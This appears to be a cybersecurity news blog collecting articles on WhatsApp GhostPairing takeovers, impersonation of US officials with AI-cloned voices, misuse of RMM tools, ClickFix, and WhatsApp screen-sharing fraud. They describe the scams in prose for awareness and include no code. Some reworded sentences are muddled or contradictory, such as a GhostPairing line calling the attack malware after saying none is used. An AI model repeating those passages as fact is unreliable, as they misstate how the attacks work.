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WhatsApp Security
Account Takeover browser hijacking Cyber Fraud Device Pairing End-to-End Encryption Identity Threats QR Phishing Social Engineering WhatsApp Security

GhostPairing Attack Puts Millions of WhatsApp Users at Risk

 


An ongoing campaign that aims to seize control of WhatsApp accounts by manipulating WhatsApp's own multi-device architecture has been revealed by cybersecurity experts in the wake of an ongoing, highly targeted attack designed to illustrate the increasing complexity of digital identity threats. 

Known as GhostPairing, the attack exploits the trust inherent in WhatsApp's system for pairing devices - a feature that allows WhatsApp Web users to send encrypted messages across laptops, mobile phones, and browsers by using the WhatsApp Web client. 

Through a covert means of guiding victims into completing a legitimate pairing process, malicious actors are able to link an attacker-controlled browser as a hidden companion device to the target account, without alerting the user or sending him/her any device notifications at all. 

The end-to-end encryption and frictionless cross-platform synchronization capabilities of WhatsApp remain among the most impressive in the industry, but investigators warn that these very strengths of the service have been used to subvert the security model, which has enabled adversaries to have persistent access to messages, media, and account controls.

Although the encryption remains intact in such a scenario technically, it will be strategically nullified if the authentication layer is compromised, allowing attackers to read and reply to conversations from within their own account. This effectively converts a feature that was designed to protect your privacy into an entry point for silent account takeovers, effectively converting a privacy-first feature into a security-centric attack.

Analysts have characterized GhostPairing as a methodical account takeover strategy that relies on WhatsApp’s legitimate infrastructure of device linkage as a means of obtaining access to accounts instead of compromising WhatsApp’s security through conventional methods of authentication. In this technique, users are manipulated socially so that they link an external device, under the false impression that they are completing a verification process. 

As a general rule, an attack takes place through messages appearing to come from trusted contacts, often compromised accounts, and containing links disguised as photos, documents, or videos. Once accessed by victims, these links lead them to fake websites meticulously modeled after popular social media platforms such as Facebook and WhatsApp, where allegedly the victim will be asked to enter his or her phone number as part of an authentication process. 

Moreover, the pages are designed to generate QR codes that are used to verify customer support, comply with regulations regarding KYC, process job applications, update KYC records, register promotional events, or recover account information. By scanning QR codes that mirror the format used by WhatsApp Web, users unintentionally link their accounts to those of attackers, not realizing they are scanning QR codes that are actually the same format used by WhatsApp Web. 

It is important to know that once the connection is paired, it runs quietly in the background, and the account owner does not receive an explicit login approval or security alert. Although WhatsApp’s encryption remains technically intact, the compromise at the device-pairing layer allows threat actors to access private communications in a way that effectively sidesteps encryption by allowing them to enter authenticated sessions from within their own account environment, even though WhatsApp’s encryption has remained unbroken technologically. 

The cybercriminals will then be able to retrieve historical chat data, track incoming messages in real time, view and transmit shared media — including images, videos, documents, and voice notes — and send messages while impersonating the legitimate account holder in order to take over the account. Additionally, compromised accounts are being repurposed as propagation channels for a broader range of targets, further enlarging the campaign's reach and scale. 

The intrusion does not affect normal app behavior or cause system instability, so victims are frequently unaware of unauthorized access for prolonged periods of time, which allows attackers to maintain persistent surveillance without detection for quite a while. 

The campaign was initially traced to users in the Czech Republic, but subsequent analysis has shown that the campaign's reach is much larger than one specific country. During their investigation, researchers discovered that threat actors have been using reusable phishing kits capable of rapid replication, which allows operations to scale simultaneously across countries, languages, and communication patterns. 

A victim's contact list is already populated with compromised or impersonated accounts, providing an additional layer of misplaced trust to the outreach, which is what initiates the attack chain. In many of these messages, the sender claims that they have found a photograph and invites their recipients to take a look at it through a link intentionally designed to look like the preview or media viewer for Facebook content. 

As soon as the link is accessed, users are taken to a fake, Facebook-branded verification page that requires them to authenticate their identity before they can view the supposed content. The deliberate mimicry of familiar interfaces plays a central role in lowering suspicions, thereby encouraging victims to complete verification steps with little hesitation, according to security analysts. 

A study published by Gen Digital's threat intelligence division indicates that the campaign is not relying on malware deployments or credential interceptions to execute. This malware manipulates WhatsApp's legitimate device-pairing system instead. 

As a consequence of the manipulation, WhatsApp allows users to link browsers and desktop applications together for the purpose of synchronizing messaging. Attackers can easily bind an unauthorized browser to an account by convincing the users to voluntarily approve the connection. In other words, they are able to bypass encryption by entering through a door of authentication that they themselves unknowingly open, rather than breaking it.

It has become increasingly apparent that threat actors are moving away from breaking encryption towards undermining the mechanisms governing access to it, as evidenced by GhostPairing. As part of this attack, people are using WhatsApp's unique feature: frictionless onboarding and the ability to link their devices to their account with just a phone number in order to extend your account to as many devices as they like. 

The simplicity of WhatsApp, often cited as a cornerstone of the company's global success, means that users don't have to enter usernames or passwords, reinforcing convenience, but inadvertently exposing more vulnerabilities to malicious use. WhatsApp's end-to-end encryption architecture further complicates things, since it provides every user with their own private key. 

Private cryptographic keys that are used to securely encrypt the content of the messages are stored only on the user's device, which theoretically should prevent eavesdropping unless an attacker is able to physically acquire the device or deploy malware to compromise it remotely if it can be accessed remotely. 

By embedding an attacker's device within an authenticated session, GhostPairing demonstrates that a social engineering attack can circumvent encryption without decrypting the data, but by embedding an attacker's device within a session in which encrypted content is already rendered readable, thus circumventing the encryption. 

Researchers have found that the technique is comparatively less scalable on platforms such as Signal, which supports only QR-based approvals for pairing devices, and this limitation has been noted to offer some protection against similar thematically driven device linking techniques. 

The analysts emphasize from a defensive standpoint that WhatsApp provides users with an option to see what devices are linked to them through their account settings section titled Linked Devices. In this section, unauthorized connections can, in principle, be identified, as well. The attackers may be able to establish silent persistence through fraudulently linking devices, but they cannot remove or revoke their device access themselves, since the primary registered device remains in charge of revocation. 

The addition of two-step PIN verification as a mitigation, which prevents attackers from making changes to an account's primary email address, adds additional hurdles for attackers. However, this control does not hinder access to messages once pairing has been completed. Especially acute consequences exist for organizations.

A common way for employees to communicate is via WhatsApp, which can sometimes lead to informal group discussions involving multiple members - many of which are conducted outside of formal documentation and oversight. It has been recommended by security teams to assume the existence of these shadow communication clusters, rather than treat them as exceptions, but as a default risk category. 

A number of industry guidelines (including those that have prevailed for the past five years) emphasize the importance of continued user awareness, and in particular that users should be trained in identifying phishing attempts, unsolicited spam, and the like, even if the attempt seems to come from well-known contacts or plausible verification attempts. 

The timing of the attack is difficult to determine when viewed from a broader perspective, but there are no signs that there is any relief. According to a report published by Meta in April of this year, millions of WhatsApp users had their mobile numbers exposed, and Meta confirmed earlier this year that the Windows desktop application had security vulnerabilities.

In parallel investigations, compromised Signal-based messaging tools have also been found to have been compromised by political figures and senior officials, confirming that cross-platform messaging ecosystems, regardless of whether or not they use encryption strength, are now experiencing identity-layer vulnerabilities that must be addressed with the same urgency as network or malware attacks have been traditionally addressed.

The GhostPairing campaign signals a nuanced, yet significant change in techniques for gaining access to accounts, which reflects a longer-term trend in which attackers attempt to gain access to identities through behavioral influence rather than technical subversion. 

Threat actors exploit WhatsApp's ability to link devices exactly as it was intended to work, whereas they decrypt the secure communication or override authentication safeguards in a way that seems to be more effective. 

They engineer moments of cooperation through the use of persuasive, familiar-looking interfaces. A sophisticated attack can be carried out by embedding fraudulent prompts within convincingly branded verification flows, which allows attackers to secure enduring access to victim accounts with very little technical skill, relying on legitimacy by design instead of compromising the systems.

There is a warning from security researchers that this approach goes beyond regional boundaries, as scalable phishing kits and interface mimicry enable multiple countries to deploy it across multiple languages. 

A similar attack can be attempted on any digital service that allows set-up via QR codes or numeric confirmation steps, irrespective of whether the system is built on a dedicated platform or not. This has an inherent vulnerability to similar attacks, especially when human trust is regarded as the primary open-source software vulnerability. 

Analysts have emphasized that the attack's effectiveness stems from the convergence of social engineering precision with permissive multi-device frameworks, so that it allows adversaries to penetrate encrypted environments without any need to break the encryption at all — and to get to a session in which all messages have already been decrypted for the authenticated user. 

It is encouraging to note that the defensive measures necessary to combat such threats are still relatively straightforward. The success rate of such deception-driven compromises could be significantly reduced if regular device hygiene audits, greater user awareness, and modest platform refinements such as clearer pairing alerts and tighter device verification constraints were implemented. 

Especially for organizations that are exposed to undocumented employee group chats that operate outside the formal oversight of the organization are of crucial importance for reducing risk. User education and internal reporting mechanisms are crucial components of mitigating risks. 

Amidst the rapid increase in digital interactions, defenders are being urged to treat vigilance in the process not as an add-on practice, but rather as a foundational layer of account security for the future. GhostPairing's recent appearance serves to serve as a reminder that the security of modern communication platforms is no longer solely defined by encryption standards, rather by the resilience of the systems that govern access to them, and that the security of these systems must be maintained at all times.

It is evident that as messaging ecosystems continue to grow and integrate themselves into everyday interactions — such as sharing personal media or coordinating workplace activities — the balance between convenience and control demands renewed scrutiny. 

It is strongly advised for users to follow regular digital safety practices, such as verifying unexpected links even if they are sent by familiar contacts, regularly auditing linked devices, and activating two-factor safeguards, such as two-step PIN verification, to ensure that their data is secure.

As organizations become increasingly aware of threats beyond the perimeter of their organizations, they should cultivate a culture of internal threat reporting that ensures that unofficial communication groups are acknowledged in risk models rather than ignored. 

Security teams are advised to conduct phishing awareness drills, make device-pairing alerts more clear at the platform level, and conduct periodic access hygiene reviews of widely used communication channels, such as encrypted messengers, for a number of reasons. 

With the incidence of identity-layer attacks on the rise, researchers emphasize that informed users remain the best countermeasure against silent account compromise - making awareness the best strategic strategy in the fight against silent account compromises, not only as a reactive habit, but as a long-term advantage.
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Voice Cloning
AI Impersonation Cyber Attacks Encrypted Messaging Abuse FBI Government Cyber Threats Signal Exploits Smishing Attacks Social Engineering Vishing Scams Voice Cloning

Cyber Threat Actors Escalate Impersonation of Senior US Government Officials


Federal law enforcement officials are raising a lot of concern about an ongoing cybercrime operation involving threat actors impersonating senior figures across the American political landscape, including state government leaders, White House officials, Cabinet members, and congressional members. 

These threat actors continue to impersonate senior figures in the American political landscape. Based on information provided by the FBI, the social engineering campaign has been operating since at least 2023. 

The campaign relies on a calculated mix of both text-based and voice-based social engineering techniques, with attackers using smishing and increasingly sophisticated artificial intelligence-generated voice messages to bolster their legitimacy. 

There have been no shortages of victims in this operation, not only government officials, but also their family members and personal contacts, demonstrating the breadth of the operation and its persistence. 

Often when fraudsters initiate contact, they reference familiar or contextually relevant topics in order to elude detection while moving the fraud forward with the threat of taking down the target on encrypted messaging platforms. This tactic is often used to evade detection and further advance the fraud.

Several federal law enforcement agencies have identified this activity as part of a widespread espionage operation developed by a group of individuals who are impersonating United States government officials to obtain potentially sensitive information, as well as to perpetrate financial and influence-driven scams. 

In May, the bureau updated its report on the campaign, which indicated that it had been active since at least April 2025. However, in a follow-up update from Friday, it revised that assessment, adding that there is evidence that the impersonation campaign goes back to 2023, as well as the previous year. 

An FBI public service announcement revealed that malicious actors have posed as government officials and cabinet members of the White House, members of Congress and high-level officials of state governments in order to engage targets that have apparently included the officials' family members and personal acquaintances as targets. 

During the Trump administration, the government used encryption-enhanced messaging platforms, such as Signal, along with voice cloning technology that is designed to replicate the sounds of senior officials to convincingly mimic senior officials in government—taking advantage of the platform’s legitimate use during the administration as a way to communicate with government officials. 

It appears that the activity may have persisted across multiple administrations, including the Biden presidency, based on the expanded timeline, even though there has been no indication of how many individuals, groups, or distinct threat actors may have been involved during the period of the campaign. 

During the ongoing campaign, the FBI has published detailed guidelines that can assist individuals in recognizing and responding to suspicious communications in order to counter the ongoing campaign. In addition, the bureau advises consumers to do independent research before engaging anyone claiming to be a government official, such as researching the number, organization, or person from which the contact is coming, and verifying the legitimacy of that contact by using an independent contact method obtained separately. 

The importance of paying attention to subtle variations in email addresses, phone numbers, URLs, and spelling must be stressed above all else, since attackers often rely on subtle differences in order to make their attacks appear legitimized. 

As part of the guidance, people also highlight the telltale signs of manipulated or artificially generated content, including visual irregularities, unnatural movements, distorted features, and discrepancies in light and shadow, as well as audio cues such as call lag, mismatched speech patterns, or unnatural sound. 

Since artificial intelligence-driven impersonation tools have become increasingly sophisticated, the FBI cautions that the message may not be easily distinguishable from a genuine communication if it is not carefully examined. Anyone who has any doubts is encouraged to contact their organization's security teams or report the activity to the FBI. 

According to CSIA, the activity is primarily aimed at targets in the United States, the Middle East, and Europe that are high-value targets, including current and former senior government officials, military personnel, and political officials, along with civil society organizations, and other at-risk individuals. 

There are three dominant techniques that are used by the group to conduct this operation: phishing campaigns and malicious QR codes that are used to link a malicious computer to a victim’s account, zero-click exploits, which do not require interaction from the victim, and impersonating widely trusted messaging platforms such as Signal and WhatsApp to persuade targets to install spyware or provide information. 

In a recent study published by Google, CISA cited how multiple Russian-aligned espionage groups have abused Signal's "linked devices" feature by causing victims to scan weaponized QR codes, which has allowed attackers to silently pair their own infrastructure with the victim's account and receive messages simultaneously without completely compromising the victim's device. 

Additionally, the advisory noted that there is a growing trend among threat actors that they use completely counterfeit messaging applications instead of phishing pages to deceive their targets. This tactic has been recently shown in the findings of Android spyware masquerading as Signal that was targeting individuals in the United Arab Emirates and siphoning their backups of chats, documents, media, and contacts. 

A warning has been issued following an intensified international crackdown on commercial spyware, including a landmark ruling from a federal court in October which permanently barred NSO Group from targeting WhatsApp. Meta previously referred to that ruling as being a significant step forward in user privacy. 

In total, these disclosures demonstrate the rapid evolution of impersonation techniques that are changing the threat landscape for both public institutions and individuals. As a result, traditional trust signals are eroded by the convergence of encrypted communications, artificial intelligence-enabled voice synthesis, and social engineering. This has forced both governments and businesses to rethink the way sensitive interactions are initiated and verified in the future. 

Experts in the field of cybersecurity are increasingly emphasizing the importance of stricter authentication protocols, routine cybersecurity training for high-risk individuals, and clearer guidelines on how encrypted platforms should be used in official business. 

The campaign, which has been widely seen in government circles, also serves as a warning to businesses, civil society groups, and individuals that proximity to famous figures can themselves pose a risk to hackers. 

In the process of investigating and refining their response to these threats, federal agencies will have to find ways to strike a balance between the legitimate benefits of modern communication tools and measures that protect them from being exploited by others. For such campaigns to be limited in effect and for trust to be preserved in both digital communications and democratic institutions, sustained vigilance, cross-agency coordination, and public awareness will be critical.
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Social Engineering
Cyber Fraud Phishing Campaign RMM Tools Social Engineering

Hackers Weaponize Trusted IT Tools for Full System Control

 

Malicious actors are weaponizing legitimate Remote Monitoring and Management (RMM) tools, turning trusted IT software into a means for unauthorized system access. This strategy represents a significant shift from traditional malware attacks, as it exploits programs like LogMeIn Resolve (formerly GoToResolve) and PDQ Connect to gain full remote control over a victim's computer, bypassing many conventional security measures because the software itself is not inherently malicious.

Modus operandi 

The core of this attack methodology lies in social engineering, where attackers trick individuals into installing these legitimate RMM applications under false pretenses. Security researchers have noted a significant increase in telemetry for detections labeled RiskWare.MisusedLegit.GoToResolve, indicating a rise in this type of threat. The attackers employ various deceptive tactics, including using misleading filenames for the installers.

One common method involves sending phishing emails that appear legitimate. For instance, an email sent to a user in Portugal contained a link that, when hovered over, pointed to a file hosted on Dropbox. By using a legitimate file-hosting service like Dropbox and a trusted RMM tool, attackers increase the likelihood of bypassing security software that might otherwise flag suspicious links or attachments .

In other cases, attackers set up fraudulent websites that perfectly mimic the download pages of popular free utilities like Notepad++ and 7-Zip, tricking users into downloading the malicious RMM installer instead of the software they were seeking.

When a victim clicks the malicious link, it delivers an RMM installer that has been pre-configured with the attacker’s unique "CompanyId." This hardcoded identifier automatically links the victim's machine directly to the attacker’s control panel.

This setup allows the attacker to instantly spot and connect to the newly compromised system without the need for stolen credentials or the deployment of additional malware . Because RMM tools are designed to run with administrative privileges, and their network traffic is often allowed by firewalls and other security solutions, the malicious remote access blends in with normal IT administrative traffic, making it extremely difficult to detect.

Mitigation tips

To defend against this evolving threat, it is crucial to be vigilant about the source of all software downloads .

  • Download carefully: Always download software directly from the official developer's website or verified sources.
  • Verify before installing: Check file signatures and certificates before running any installer to ensure they are from a trusted publisher.
  • Question unexpected prompts: If you receive an unexpected prompt to update software, verify the notification through a separate, trusted channel, such as by visiting the official website directly .
  • Stay updated: Keep your operating system and all installed software up to date with the latest security patches.
  • Recognize social engineering: Learn to identify the deceptive tricks attackers use to push malicious downloads .
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Technology
Cybercrime Trends Cybersecurity Threats Data Breach Risks Digital Deception fraud prevention Home Security Online Identity Protection Online Safety Social Engineering Technology

Digital Deception Drives a Sophisticated Era of Cybercrime


 

Digital technology is becoming more and more pervasive in the everyday lives, but a whole new spectrum of threats is quietly emerging behind the curtain, quietly advancing beneath the surface of routine online behavior. 

A wide range of cybercriminals are leveraging an ever-expanding toolkit to take advantage of the emotional manipulation embedded in deepfake videos, online betting platforms, harmful games and romance scams, as well as sophisticated phishing schemes and zero-day exploits to infiltrate not only devices, but the habits and vulnerabilities of the users as well. 

Google's preferred sources have long stressed the importance of understanding how attackers attack, which is the first line of defence for any organization. The Cyberabad Police was the latest agency to extend an alert to households, which adds an additional urgency to this issue. 

According to the authorities' advisory, Caught in the Digital Web Vigilance is the Only Shield, it is clear criminals are not forcing themselves into homes anymore, rather they are slipping silently through mobile screens, influencing children, youth, and families with manipulative content that shapes their behaviors, disrupts their mental well-being, and undermines society at large. 

There is no doubt that digital hygiene has become an integral part of modern cybercrime and is not an optional thing anymore, but rather a necessary necessity in an era where deception has become a key weapon. 

Approximately 60% of breaches now have been linked to human behavior, according to Verizon Business Business 2025 Data Breach Investigations Report (DBIR). These findings reinforce how human behavior remains intimately connected with cyber risk. Throughout the report, social engineering techniques such as phishing and pretexting, as well as other forms of social engineering, are being adapted across geographies, industries, and organizational scales as users have a tendency to rely on seemingly harmless digital interactions on a daily basis. 

DBIR finds that cybercriminals are increasingly posing as trusted entities, exploiting familiar touchpoints like parcel delivery alerts or password reset prompts, knowing that these everyday notifications naturally encourage a quick click, exploiting the fact that these everyday notifications naturally invite a quick click. 

In addition, the findings of the DBIR report demonstrate how these once-basic tricks have been turned into sophisticated deception architectures where the web itself has become a weapon. With the advent of fake software updates, which mimic the look and feel of legitimate pop-ups, and links that appear to be embedded in trusted vendor newsletters may quietly redirect users to compromised websites, this has become one of the most alarming developments. 

It has been found that attackers are coaxing individuals into pasting malicious commands into the enterprise system, turning essential workplace tools into self-destructive devices. In recent years, infected attachments and rogue sites have been masquerading as legitimate webpages, cloaking attacks behind the façade of security, even long-standing security tools that are being repurposed; verification prompts and "prove you are human" checkpoints are being manipulated to funnel users towards infected attachments and malicious websites. 

A number of Phishing-as-a-Service platforms are available for the purpose of stealing credentials in a more precise and sophisticated manner, and cybercriminals are now intentionally harvesting Multi-Factor Authentication data based on targeted campaigns that target specific sectors, further expanding the scope of credential theft. 

In the resulting threat landscape, security itself is frequently used as camouflage, and the strength of the defensive systems is only as strong as the amount of trust that users place in the screens before them. It is important to point out that even as cyberattack techniques become more sophisticated, experts contend that the fundamentals of security remain unchanged: a company or individual cannot be effectively protected against a cyberattack without understanding their own vulnerabilities. 

The industry continues to emphasise the importance of improving visibility, reducing the digital attack surface, and adopting best practices in order to stay ahead of an expanding number of increasingly adaptive adversaries; however, the risks extend far beyond the corporate perimeter. There has been a growing body of research from Cybersecurity Experts United that found that 62% of home burglaries have been associated with personal information posted online that led to successful break-ins, underscoring that digital behaviour now directly influences physical security. 

A deeper layer to these crimes is the psychological impact that they have on victims, ranging from persistent anxiety to long-term trauma. In addition, studies reveal oversharing on social media is now a key enabler for modern burglars, with 78% of those who confess to breaching homeowner's privacy admitting to mining publicly available posts for clues about travel plans, property layouts, and periods of absence from the home. 

It has been reported that houses mentioned in travel-related updates are 35% more likely to be targeted as a result, and that burglaries that take place during vacation are more common in areas where social media usage is high; notably, it has been noted that a substantial percentage of these incidents involve women who publicly announced their travel plans online. It has become increasingly apparent that this convergence of online exposure and real-world harm also has a reverberating effect in many other areas. 

Fraudulent transactions, identity theft, and cyber enabled scams frequently spill over into physical crimes such as robbery and assault, which security specialists predict will only become more severe if awareness campaigns and behavioral measures are not put in place to combat it. The increase in digital connectivity has highlighted the importance of comprehensive protective measures ranging from security precautions at home during travel to proper management of online identities to combat the growing number of online crimes and their consequences on a real-world basis. 

The line between physical and digital worlds is becoming increasingly blurred as security experts warn, and so resilience will become as important as technological safeguards in terms of resilience. As cybercrime evolves with increasingly complex tactics-whether it is subtle manipulation, data theft, or the exploitation of online habits, which expose homes and families-the need for greater public awareness and more informed organizational responses grows increasingly. 

A number of authorities emphasize that reducing risk is not a matter of isolating isolated measures but of adopting a holistic security mindset. This means limiting what we share, questioning what we click on, and strengthening the security systems that protect both our networks as well as our everyday lives. Especially in a time when criminals increasingly weaponize trust, information and routine behavior, collective vigilance may be our strongest defensive strategy in an age in which criminals are weaponizing trust and information.
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Threat Intelligence
ClickFix Cyber Security Malicious Campaign Social Engineering Threat Intelligence

ClickFix: The Silent Cyber Threat Tricking Families Worldwide

 

ClickFix has emerged as one of the most pervasive and dangerous cybersecurity threats in 2025, yet remains largely unknown to the average user and even many IT professionals. This social engineering technique manipulates users into executing malicious scripts—often just a single line of code—by tricking them with fake error messages, CAPTCHA prompts, or fraudulent browser update alerts.

The attack exploits the natural human desire to fix technical problems, bypassing most endpoint protections and affecting Windows, macOS, and Linux systems. ClickFix campaign typically begin when a victim encounters a legitimate-looking message urging them to run a script or command, often on compromised or spoofed websites. 

Once executed, the script connects the victim’s device to a server controlled by attackers, allowing stealthy installation of malware such as credential stealers (e.g., Lumma Stealer, SnakeStealer), remote access trojans (RATs), ransomware, cryptominers, and even nation-state-aligned malware. The technique is highly effective because it leverages “living off the land” binaries, which are legitimate system tools, making detection difficult for security software.

ClickFix attacks have surged by over 500% in 2025, accounting for nearly 8% of all blocked attacks and ranking as the second most common attack vector after traditional phishing. Threat actors are now selling ClickFix builders to automate the creation of weaponized landing pages, further accelerating the spread of these attacks. Victims are often ordinary users, including families, who may lack the technical knowledge to distinguish legitimate error messages from malicious ones.

The real-world impact of ClickFix is extensive: it enables attackers to steal sensitive information, hijack browser sessions, install malicious extensions, and even execute ransomware attacks. Cybersecurity firms and agencies are urging users to exercise caution with prompts to run scripts and to verify the authenticity of error messages before taking any action. Proactive human risk management and user education are essential to mitigate the threat posed by ClickFix and similar social engineering tactics.
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WhatsApp Security
Banking Malware Cyber Attacks Cybercrime Trends Digital Fraud Identity Theft Malware Threats Online Safety Screen Sharing Scam Social Engineering WhatsApp Security

Screen Sharing on WhatsApp Turns Costly with Major Financial Loss

 


Several disturbing patterns of digital deception have quietly developed in recent months, revealing just how readily everyday communications tools can be turned into instruments of financial ruin in an instant. According to security researchers, there has been an increase in sophisticated cybercriminal schemes utilizing the trust users place in familiar platforms, particularly WhatsApp, to gain access to the internet. 

It is a common occurrence that what initially starts out as a friendly message, an unexpected image, or a polite call claiming that an “urgent issue” with a bank account is a crafted scam which soon unravels into a meticulously crafted scam. It is very possible for malicious software to be installed through downloading an innocuous-looking picture that can allow you to infiltrate banking applications, harvest passwords, and expose personal identification information without your knowledge. 

There have been instances where fraudsters impersonating bank representatives have coaxed users into sharing their screens with the false pretense that they are resolving account discrepancy. When this has happened, these fraudsters can observe every detail in real time - OTP codes, login credentials, account balances - and in some cases, they will convince victims to install remote access programs or screen mirroring programs so they can further control the device. 

It is evident from the intertwined tactics that a troubling trend in digital crime has taken place, emphasizing the need for increased vigilance among Indians and beyond, underscoring a troubling development. There is a fast-growing network of social-engineering groups operating across multiple regions, who are utilizing WhatsApp's screen-sharing capabilities to bypass safety measures and gain control of their financial lives by manipulating their screen-sharing capabilities. 

Investigators have begun piecing together the contours of this network. Initially introduced in 2023 as a convenience feature, screen-sharing has since become a critical point of exploitation for fraudsters who place unsolicited video calls, pretend to be bank officials or service providers, and convince victims to reveal their screens, or install remote-access applications masquerading as diagnostic tools, to exploit their vulnerabilities. 

Almost $700,000 was defrauded by one victim in one of the cases of abuse that spanned from India and the U.K. to Brazil and Hong Kong. This demonstrates how swiftly and precisely these schemes emerge. In describing the technique, it is noted that it is not based on sophisticated malware, but rather on urgency, trust, and psychological manipulation, allowing scammers to circumvent a lot of traditional technical protections. 

Furthermore, criminal networks are enhancing their arsenals by spreading malicious files via WhatsApp Web, including one Brazilian operation that uses self-replicating payloads to hijack contacts, automate fraudulent outreach, and compromise online banking credentials through its use of malicious payloads distributed through WhatsApp Web. 

The investigators of the fraud note that the mechanisms are based less on technical sophistication and more on psychological pressure intended to disarm victims. An unsolicited WhatsApp video call made by a number that appears local can be the start of the scam, usually presented as a bank officer, customer service agent, or even an acquaintance in need of assistance. 

Callers claim to have an urgent problem to solve - an unauthorized transaction, an account suspension threat, or even an error in the verification process - that creates a feeling of panic that encourages their victims to comply without hesitation.

The imposter will initially convince the victim that the issue is being resolved, thereby leading to them sharing their screen or installing a legitimate remote-access application, such as AnyDesk or TeamViewer, which will enable the fraudster to watch every action that occurs on the screen in real time, as they pretend to resolve it. 

By using this live feed, an attacker can access one-time passwords, authentication prompts, banking app interfaces, as well as other sensitive credentials. By doing so, attackers can be able to take control of WhatsApp accounts, initiate unauthorized transfers, or coax the victim into carrying out these actions on their own.

A more elaborate variant consists of guiding the victim into downloading applications that secretly contain keyloggers or spyware that can collect passwords and financial information long after the call has ended, allowing them to collect it all. When scammers have access to personal information such as banking details or social media profiles, they can drain accounts, take over accounts on social networks, and assume the identity of victims to target others on their contact list.

Authorities caution that the success of these schemes depends on trust exploiting, so user vigilance is key. According to the advisories, individuals should be cautious when receiving unknown phone calls, avoid sharing screens with unknown parties, disable installations coming from untrusted sources, and refrain from opening financial apps when they are receiving remote access. 

These measures are crucial in order to prevent these social engineering scams from getting the better of them, as they continue to develop. As far as the most advanced variations of the scam are concerned, the most sophisticated versions of the scam entail criminals installing malicious software through deceptive links or media files in a victim's device, thus granting them complete control of that victim's computer. 

When these kinds of malware are installed, they can record keystrokes, capture screens, gather banking credentials, intercept two-factor authentication codes, and even gain access to sensitive identity documents. It is possible for attackers to take control of cameras and microphones remotely, which allows them to utilize the device as a tool for surveillance, coercion, or a long-term digital impersonation device. 

In addition to financial theft, the extent to which the compromised identity may be exploited goes far beyond immediate financial exploitation, often enabling blackmail and continuous abuse of the victim's identity. 

In light of this backdrop, cybersecurity agencies emphasize the significance of adopting preventative habits that can significantly reduce exposure to cybercriminals. There is still an important role to play in ensuring that users do not download unfamiliar media, disable WhatsApp's automatic download feature, and keep reputable mobile security tools up to date. 

WhatsApp still has the built-in features that allow them to block and report suspicious contacts, while officials urge individuals to spread basic cyber-hygiene knowledge among their communities, pointing out that many people fall victim to cyber-attacks simply because they lack awareness of the dangers that lurk. 

There has been a surge of fraud attempts across messaging platforms, and Indian authorities, including the Indian Cybercrime Coordination Centre, as well as various state cyber cells have issued a number of public advisories about this, and citizens are encouraged to report such attacks to the National Cybercrime Reporting Portal as soon as possible. 

In conjunction with these warnings, these findings shed light on a broader point: even the most ordinary digital interactions are capable of masking sophisticated threats, and sustained vigilance remains the strongest defense against the growing epidemic of social engineering and malware-driven crimes that are booming in modern society. 

As the majority of the fraud is carried out by social-engineering tactics, researchers have also observed a parallel wave of malware campaigns that are utilizing WhatsApp's broader ecosystem, which demonstrates how WhatsApp is capable of serving as a powerful channel for large-scale infection. As an example of self-replicating chains delivered through WhatsApp Web, one of the most striking cases was reported by analysts in Brazil. 

A ZIP archive was sent to the victims, which when opened, triggered the obfuscated VBS installer SORVEPOTEL, which was an obfuscated VBS installer. In this PowerShell routine, the malware used ChromeDriver and Selenium to re-enter the victim's active WhatsApp Web session, enabling the malware to take full control of the victim's active WhatsApp Web session. 

In order to spread the malware, the script retrieved message templates from a command-and-control server, exfiltrated the user's contact list, and automatically distributed the same malicious ZIP file to every network member that was connected with it—often while displaying a fake banner that said "WhatsApp Automation v6.0" to give it the appearance of legitimacy. 

Researchers found that Maverick was a payload that was evasive and highly targeted, and it was also accompanied by a suite of malicious capabilities. It was also packaged inside the ZIP with a Windows LNK file that could execute additional code through the use of a remote server that had the first stage loader on it. As soon as the malware discovered that the device was belonging to a Brazilian user, it launched its banking module only after checking for debugging tools, examining the system locale indicators such as the time zone and language settings. 

A Maverick server monitoring website activity for URLs linked to Latin American financial institutions, when activated, was aligned with credential harvesting and account manipulation against regional banks, aligning its behavior with credential harvesting. As Trend Micro pointed out previously, an account ban could be issued as a result of the sheer volume of outbound messages caused by a similar WhatsApp Web abuse vector, which relied on active sessions to mass-distribute infected ZIP files. 

These malware infections acted primarily as infostealers that targeted Brazilian banking and cryptocurrency platforms, thereby demonstrating the fact that financial fraud objectives can be easily mapped to WhatsApp-based lures when it comes to financial fraud. 

It is important to note, however, that security analysts emphasize that the global screen-sharing scams are not primarily the work of a single sophisticated actor, but rather the work of a diffuse criminal ecosystem that combines trust, urgency, and social manipulation to make them successful. According to ESET researchers, these tactics are fundamentally human-driven rather than based on technical exploits over a long period of time, whereas Brazilian malware operations show clearer signs of being involved in structured criminal activity. 

It is thought that the Maverick Trojan can be linked to the group that has been named Water Saci, whose operations overlap with those of the Coyote banking malware family-which indicates that these groups have been sharing techniques and developing tools within Brazil's underground cybercrime market. 

Even though the associations that have been drawn between WhatsApp and opportunistic scammers still seem to be rooted in moderate confidence, they reveal an evolving threat landscape in which both opportunistic scammers and organized cybercriminals work towards exploiting WhatsApp to their advantage. 

A number of analysts have indicated that the success of the scheme is a function of a carefully orchestrated combination of trust, urgency, and control. By presenting themselves as legitimate entities through video calls that appear to originate from banks, service providers, or other reliable entities, scammers achieve a veneer of legitimacy by appearing authentic.

In addition, they will fabricate a crisis – a fake transaction, a compromised account, or a suspended service – in order to pressure the victim into making a hasty decision. The last step is perhaps the most consequential: convincing the victim to share their screen with the attacker, or installing a remote access tool, which in effect grants the attacker complete access to the device. 

In the event that a phone is gained access to, then every action, notification, and security prompt becomes visible, revealing the phone as an open book that needs to be monitored. Security professionals indicate that preventative measures depend more on vigilance and personal precautions than on technical measures alone. 

Unsolicited calls should be treated with suspicion, particularly those requesting sensitive information or screen access, as soon as they are received, and any alarming claims should be independently verified through official channels before responding to anything unfounded. The use of passwords, OTPs, and banking information should never be disclosed over the telephone or through email, as legitimate institutions would not request such data in this manner. 

Installing remote access apps at the direction of unfamiliar callers should be avoided at all costs, given that remote access applications allow you to control your device completely. It is also recommended to enable WhatsApp's built-in two-step verification feature, which increases the security level even in the event of compromised credentials.

Finally, investigators emphasize that a healthy degree of skepticism remains the most effective defense; if we just pause and check it out independently, we may be able to prevent the cascading damage that these highly persuasive scams intend to cause us.
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User Security
malware Photoshop Scam Social Engineering TikTok User Security

TikTok 'Free Photoshop' Scam Steals User Data via Malicious Commands

 

